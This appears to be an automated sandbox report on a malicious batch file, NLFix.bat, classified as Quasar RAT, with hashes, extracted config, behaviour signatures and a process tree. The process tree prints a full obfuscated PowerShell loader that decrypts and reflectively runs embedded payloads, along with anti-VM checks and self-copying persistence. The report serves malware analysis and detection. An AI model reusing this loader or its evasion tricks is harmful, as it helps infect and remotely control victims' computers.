Analysis

  • max time kernel
    106s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-12-2024 21:54

Errors

Reason
Machine shutdown

General

  • Target

    NLFix.bat

  • Size

    7.3MB

  • MD5

    398c1f578d2d3a043041299f023603b8

  • SHA1

    2416a7340c1bc2313d0c1a446e6bf6c70c673181

  • SHA256

    9d180dd0b5067c595c8c4c94e9a3098fb62ab8d0fe9ab451a32fcd4f6e3b6bdf

  • SHA512

    0a011639ae0c73c9ad335bccef27e8fecdb44c5a33bb136de2136801b9f319fa597ba2f6dd8a5f45b963703fdd26541938190630da0e45ec47a3571178ce6041

  • SSDEEP

    49152:jfpqzii39LrgimomcMzBV6FJ6BFN1rBW7BIVGJ0FnyqcYkThNjQsItYBHIlDpPOQ:L

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    03816C045CDE13385E227545D99CA4F0BBE6CC9F

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 4 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 16 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 11 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 15 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
    • Modifies data under HKEY_USERS
    PID:616
    • C:\Windows\system32\dwm.exe
      "dwm.exe"
      2⤵
        PID:64
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{cfa343c2-368a-439b-910d-3c94425a7694}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1564
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{62be1d57-49c0-4b88-a40f-99fcaeda8aef}
        2⤵
          PID:1548
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x4 /state0:0xa38dc855 /state1:0x41c64e6d
          2⤵
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious use of SetWindowsHookEx
          PID:4544
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Drops file in System32 directory
        PID:684
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:960
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:400
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:744
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1020
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1036
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  PID:1108
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2992
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Indicator Removal: Clear Windows Event Logs
                    PID:1208
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1272
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1316
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                        1⤵
                          PID:1332
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                          1⤵
                            PID:1348
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                            1⤵
                              PID:1376
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1520
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1528
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:2744
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1556
                                    • C:\Windows\System32\svchost.exe
                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                      1⤵
                                        PID:1608
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1684
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                          1⤵
                                            PID:1740
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                            1⤵
                                              PID:1836
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1844
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                1⤵
                                                  PID:1852
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                  1⤵
                                                    PID:1892
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1972
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:1652
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2084
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2208
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2372
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                            1⤵
                                                              PID:2440
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                              1⤵
                                                                PID:2460
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                1⤵
                                                                • Drops file in System32 directory
                                                                PID:2580
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                • Enumerates connected drives
                                                                PID:2640
                                                              • C:\Windows\sysmon.exe
                                                                C:\Windows\sysmon.exe
                                                                1⤵
                                                                  PID:2648
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                  1⤵
                                                                    PID:2660
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2668
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                      1⤵
                                                                        PID:2780
                                                                      • C:\Windows\system32\wbem\unsecapp.exe
                                                                        C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                        1⤵
                                                                          PID:3060
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:2156
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                            1⤵
                                                                              PID:3332
                                                                            • C:\Windows\Explorer.EXE
                                                                              C:\Windows\Explorer.EXE
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                              • Suspicious use of FindShellTrayWindow
                                                                              PID:3428
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NLFix.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1824
                                                                                • C:\Windows\System32\Conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  3⤵
                                                                                    PID:3224
                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                    fsutil fsinfo drives
                                                                                    3⤵
                                                                                      PID:1572
                                                                                    • C:\Windows\system32\findstr.exe
                                                                                      findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
                                                                                      3⤵
                                                                                        PID:4256
                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                        fsutil fsinfo drives
                                                                                        3⤵
                                                                                          PID:1360
                                                                                        • C:\Windows\system32\findstr.exe
                                                                                          findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
                                                                                          3⤵
                                                                                            PID:4996
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            cmd.exe /c echo function hTng($IsJP){ Invoke-Expression -Debug -Verbose -WarningAction Inquire '$sPuv=[BRSBRysBRtBRemBR.BRSeBRcBRuBRrBRiBRtBRy.BRCBRrBRyBRptBRoBRgBRrBRaBRpBRhBRyBR.ABReBRsBR]BR:BR:BRCrBReBRaBRteBR(BR);'.Replace('BR', ''); Invoke-Expression -WarningAction Inquire '$sPuv.MBvoBvdeBv=Bv[SBvyBvstBveBvmBv.BvSBveBvcuBvrBviBvtBvy.BvCBvrBvyBvpBvtBvoBvgBvraBvpBvhBvyBv.BvCBvipBvhBveBvrMBvoBvdeBv]:Bv:BvCBBvC;'.Replace('Bv', ''); Invoke-Expression -WarningAction Inquire '$sPuv.PkYakYddkYikYngkY=kY[SkYykYskYtkYekYmkY.SkYekYckYukYrikYtkYykY.kYCkYrkYykYpkYtokYgkYrkYakYpkYhkYy.kYPkYakYddkYikYngkYMokYdkYe]kY::kYPkYKkYCSkY7;'.Replace('kY', ''); Invoke-Expression -WarningAction Inquire '$sPuv.KGneGny=Gn[GnSyGnsGnteGnmGn.GnCGnoGnnGnveGnrGntGn]Gn::GnFGnrGnoGnmGnBGnaGnsGne6Gn4GnSGntGnrGniGnngGn("AGnHGnTkGnyGnERGnaGnOhGnvGnRGnPGnSGnKGn/6GncGnDGnAGnWBGn+GnDGnDGnnGnHGnrGn9GnfAGnLGneGnNGnqGncGnPxGnfGnYGn/rGnwGn=");'.Replace('Gn', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$sPuv.IpgVpg=[pgSpgyspgtpgempg.pgCpgopgnpgvpgerpgtpg]pg:pg:FpgrpgopgmpgBpgapgspgepg64pgSpgtpgrpgipgnpgg("ipgKpgEzpgYpgg1pgVpghmpgYpgCpgEpg1pgVpg+NpgFpgLpgNpg7wpg=pg=pg");'.Replace('pg', ''); $VInP=$sPuv.CreateDecryptor(); $bwph=$VInP.TransformFinalBlock($IsJP, 0, $IsJP.Length); $VInP.Dispose(); $sPuv.Dispose(); $bwph;}function bInQ($IsJP){ Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore '$zkFu=NmOemOw-mOOmObjmOemOctmO mOSmOymOsmOtmOemmO.mOImOOmO.MmOemOmmOomOrmOymOSmOtmOremOamOm(,$IsJP);'.Replace('mO', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$MYrS=NmOemOw-mOOmObjmOemOctmO mOSmOymOsmOtmOemmO.mOImOOmO.MmOemOmmOomOrmOymOSmOtmOremOamOm;'.Replace('mO', ''); Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$YLrW=NQOeQOw-QOOQObjQOeQOctQO QOSQOyQOsQOtQOemQO.QOIQOOQO.CQOoQOmQOpQOrQOeQOsQOsQOioQOnQO.QOGQOZQOiQOpSQOtQOrQOeaQOmQO($zkFu, [QOIQOO.QOCQOomQOpQOreQOsQOsQOiQOoQOnQO.CQOoQOmQOpQOreQOsQOsQOiQOoQOnQOMQOoQOdeQO]QO:QO:QODQOeQOcoQOmQOpQOreQOsQOs);'.Replace('QO', ''); $YLrW.CopyTo($MYrS); $YLrW.Dispose(); $zkFu.Dispose(); $MYrS.Dispose(); $MYrS.ToArray();}function QhCd($IsJP,$kyeK){ Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$VyZj=[kWSkWyskWtkWemkW.kWRekWfkWlkWekWckWtkWiokWnkW.kWAkWsskWekWmkWbkWlkWykW]kW:kW:LkWokWakWd([byte[]]$IsJP);'.Replace('kW', ''); Invoke-Expression -Debug -Verbose '$DDiX=$VyZj.EhpnhptrhpyhpPohpihpnthp;'.Replace('hp', ''); Invoke-Expression -Debug '$DDiX.TaITanvTaoTakeTa(Ta$nTauTalTalTa, $kyeK);'.Replace('Ta', '');}$UIKC = 'C:\Users\Admin\AppData\Local\Temp\NLFix.bat';$host.UI.RawUI.WindowTitle = $UIKC;$qAaR=[System.IO.File]::ReadAllText($UIKC).Split([Environment]::NewLine);foreach ($LPaK in $qAaR) { if ($LPaK.StartsWith('phDUy')) { $YxYD=$LPaK.Substring(5); break; }}$glGL=[string[]]$YxYD.Split('\');Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore '$Yok = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[0].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');Invoke-Expression -Verbose -Debug '$Jcq = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[1].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$Prj = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[2].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');QhCd $Yok $null;QhCd $Jcq $null;QhCd $Prj (,[string[]] (''));
                                                                                            3⤵
                                                                                              PID:3448
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell.exe -WindowStyle Hidden
                                                                                              3⤵
                                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • Drops file in Windows directory
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3372
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\NLFix.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
                                                                                                4⤵
                                                                                                • Drops file in Windows directory
                                                                                                PID:2368
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  5⤵
                                                                                                    PID:4448
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
                                                                                                  4⤵
                                                                                                    PID:2848
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      5⤵
                                                                                                        PID:4316
                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                        fsutil fsinfo drives
                                                                                                        5⤵
                                                                                                          PID:3452
                                                                                                        • C:\Windows\system32\findstr.exe
                                                                                                          findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
                                                                                                          5⤵
                                                                                                            PID:3872
                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                            fsutil fsinfo drives
                                                                                                            5⤵
                                                                                                              PID:324
                                                                                                            • C:\Windows\system32\findstr.exe
                                                                                                              findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
                                                                                                              5⤵
                                                                                                                PID:8
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                cmd.exe /c echo function hTng($IsJP){ Invoke-Expression -Debug -Verbose -WarningAction Inquire '$sPuv=[BRSBRysBRtBRemBR.BRSeBRcBRuBRrBRiBRtBRy.BRCBRrBRyBRptBRoBRgBRrBRaBRpBRhBRyBR.ABReBRsBR]BR:BR:BRCrBReBRaBRteBR(BR);'.Replace('BR', ''); Invoke-Expression -WarningAction Inquire '$sPuv.MBvoBvdeBv=Bv[SBvyBvstBveBvmBv.BvSBveBvcuBvrBviBvtBvy.BvCBvrBvyBvpBvtBvoBvgBvraBvpBvhBvyBv.BvCBvipBvhBveBvrMBvoBvdeBv]:Bv:BvCBBvC;'.Replace('Bv', ''); Invoke-Expression -WarningAction Inquire '$sPuv.PkYakYddkYikYngkY=kY[SkYykYskYtkYekYmkY.SkYekYckYukYrikYtkYykY.kYCkYrkYykYpkYtokYgkYrkYakYpkYhkYy.kYPkYakYddkYikYngkYMokYdkYe]kY::kYPkYKkYCSkY7;'.Replace('kY', ''); Invoke-Expression -WarningAction Inquire '$sPuv.KGneGny=Gn[GnSyGnsGnteGnmGn.GnCGnoGnnGnveGnrGntGn]Gn::GnFGnrGnoGnmGnBGnaGnsGne6Gn4GnSGntGnrGniGnngGn("AGnHGnTkGnyGnERGnaGnOhGnvGnRGnPGnSGnKGn/6GncGnDGnAGnWBGn+GnDGnDGnnGnHGnrGn9GnfAGnLGneGnNGnqGncGnPxGnfGnYGn/rGnwGn=");'.Replace('Gn', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$sPuv.IpgVpg=[pgSpgyspgtpgempg.pgCpgopgnpgvpgerpgtpg]pg:pg:FpgrpgopgmpgBpgapgspgepg64pgSpgtpgrpgipgnpgg("ipgKpgEzpgYpgg1pgVpghmpgYpgCpgEpg1pgVpg+NpgFpgLpgNpg7wpg=pg=pg");'.Replace('pg', ''); $VInP=$sPuv.CreateDecryptor(); $bwph=$VInP.TransformFinalBlock($IsJP, 0, $IsJP.Length); $VInP.Dispose(); $sPuv.Dispose(); $bwph;}function bInQ($IsJP){ Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore '$zkFu=NmOemOw-mOOmObjmOemOctmO mOSmOymOsmOtmOemmO.mOImOOmO.MmOemOmmOomOrmOymOSmOtmOremOamOm(,$IsJP);'.Replace('mO', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$MYrS=NmOemOw-mOOmObjmOemOctmO mOSmOymOsmOtmOemmO.mOImOOmO.MmOemOmmOomOrmOymOSmOtmOremOamOm;'.Replace('mO', ''); Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$YLrW=NQOeQOw-QOOQObjQOeQOctQO QOSQOyQOsQOtQOemQO.QOIQOOQO.CQOoQOmQOpQOrQOeQOsQOsQOioQOnQO.QOGQOZQOiQOpSQOtQOrQOeaQOmQO($zkFu, [QOIQOO.QOCQOomQOpQOreQOsQOsQOiQOoQOnQO.CQOoQOmQOpQOreQOsQOsQOiQOoQOnQOMQOoQOdeQO]QO:QO:QODQOeQOcoQOmQOpQOreQOsQOs);'.Replace('QO', ''); $YLrW.CopyTo($MYrS); $YLrW.Dispose(); $zkFu.Dispose(); $MYrS.Dispose(); $MYrS.ToArray();}function QhCd($IsJP,$kyeK){ Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$VyZj=[kWSkWyskWtkWemkW.kWRekWfkWlkWekWckWtkWiokWnkW.kWAkWsskWekWmkWbkWlkWykW]kW:kW:LkWokWakWd([byte[]]$IsJP);'.Replace('kW', ''); Invoke-Expression -Debug -Verbose '$DDiX=$VyZj.EhpnhptrhpyhpPohpihpnthp;'.Replace('hp', ''); Invoke-Expression -Debug '$DDiX.TaITanvTaoTakeTa(Ta$nTauTalTalTa, $kyeK);'.Replace('Ta', '');}$UIKC = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $UIKC;$qAaR=[System.IO.File]::ReadAllText($UIKC).Split([Environment]::NewLine);foreach ($LPaK in $qAaR) { if ($LPaK.StartsWith('phDUy')) { $YxYD=$LPaK.Substring(5); break; }}$glGL=[string[]]$YxYD.Split('\');Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore '$Yok = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[0].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');Invoke-Expression -Verbose -Debug '$Jcq = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[1].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$Prj = bInQ (hTng ([aZCaZonaZvaZeraZtaZ]:aZ:aZFaZraZoaZmaZBaaZsaZeaZ6aZ4SaZtaZraZiaZnaZg($glGL[2].Replace("#", "/").Replace("@", "A"))));'.Replace('aZ', '');QhCd $Yok $null;QhCd $Jcq $null;QhCd $Prj (,[string[]] (''));
                                                                                                                5⤵
                                                                                                                  PID:3192
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell.exe -WindowStyle Hidden
                                                                                                                  5⤵
                                                                                                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                  • Blocklisted process makes network request
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:2276
                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                    "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
                                                                                                                    6⤵
                                                                                                                      PID:644
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        7⤵
                                                                                                                          PID:1408
                                                                                                                      • C:\Windows\System32\shutdown.exe
                                                                                                                        "C:\Windows\System32\shutdown.exe" /s /t 0
                                                                                                                        6⤵
                                                                                                                          PID:1440
                                                                                                                • C:\Windows\$nya-onimai2\XICgSX.exe
                                                                                                                  "C:\Windows\$nya-onimai2\XICgSX.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:324
                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    3⤵
                                                                                                                      PID:1752
                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                      C:\Windows\system32\WerFault.exe -u -p 324 -s 236
                                                                                                                      3⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      • Enumerates system info in registry
                                                                                                                      PID:1244
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                  1⤵
                                                                                                                    PID:3568
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                    1⤵
                                                                                                                      PID:3748
                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:3904
                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:4104
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                          1⤵
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          PID:2148
                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                          1⤵
                                                                                                                            PID:3092
                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                            1⤵
                                                                                                                              PID:3900
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                              1⤵
                                                                                                                                PID:1932
                                                                                                                              • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:4904
                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                  C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                  1⤵
                                                                                                                                    PID:3248
                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                    1⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:4496
                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                    1⤵
                                                                                                                                      PID:4892
                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                      1⤵
                                                                                                                                        PID:1492
                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                        1⤵
                                                                                                                                          PID:2284
                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                          1⤵
                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                          • Writes to the Master Boot Record (MBR)
                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                          • Checks processor information in registry
                                                                                                                                          • Enumerates system info in registry
                                                                                                                                          PID:4660
                                                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe f79e39edaf8e33e2dd018c7019773e21 XkD9yFp3Qke3QhM8L1dglw.0.1.0.0.0
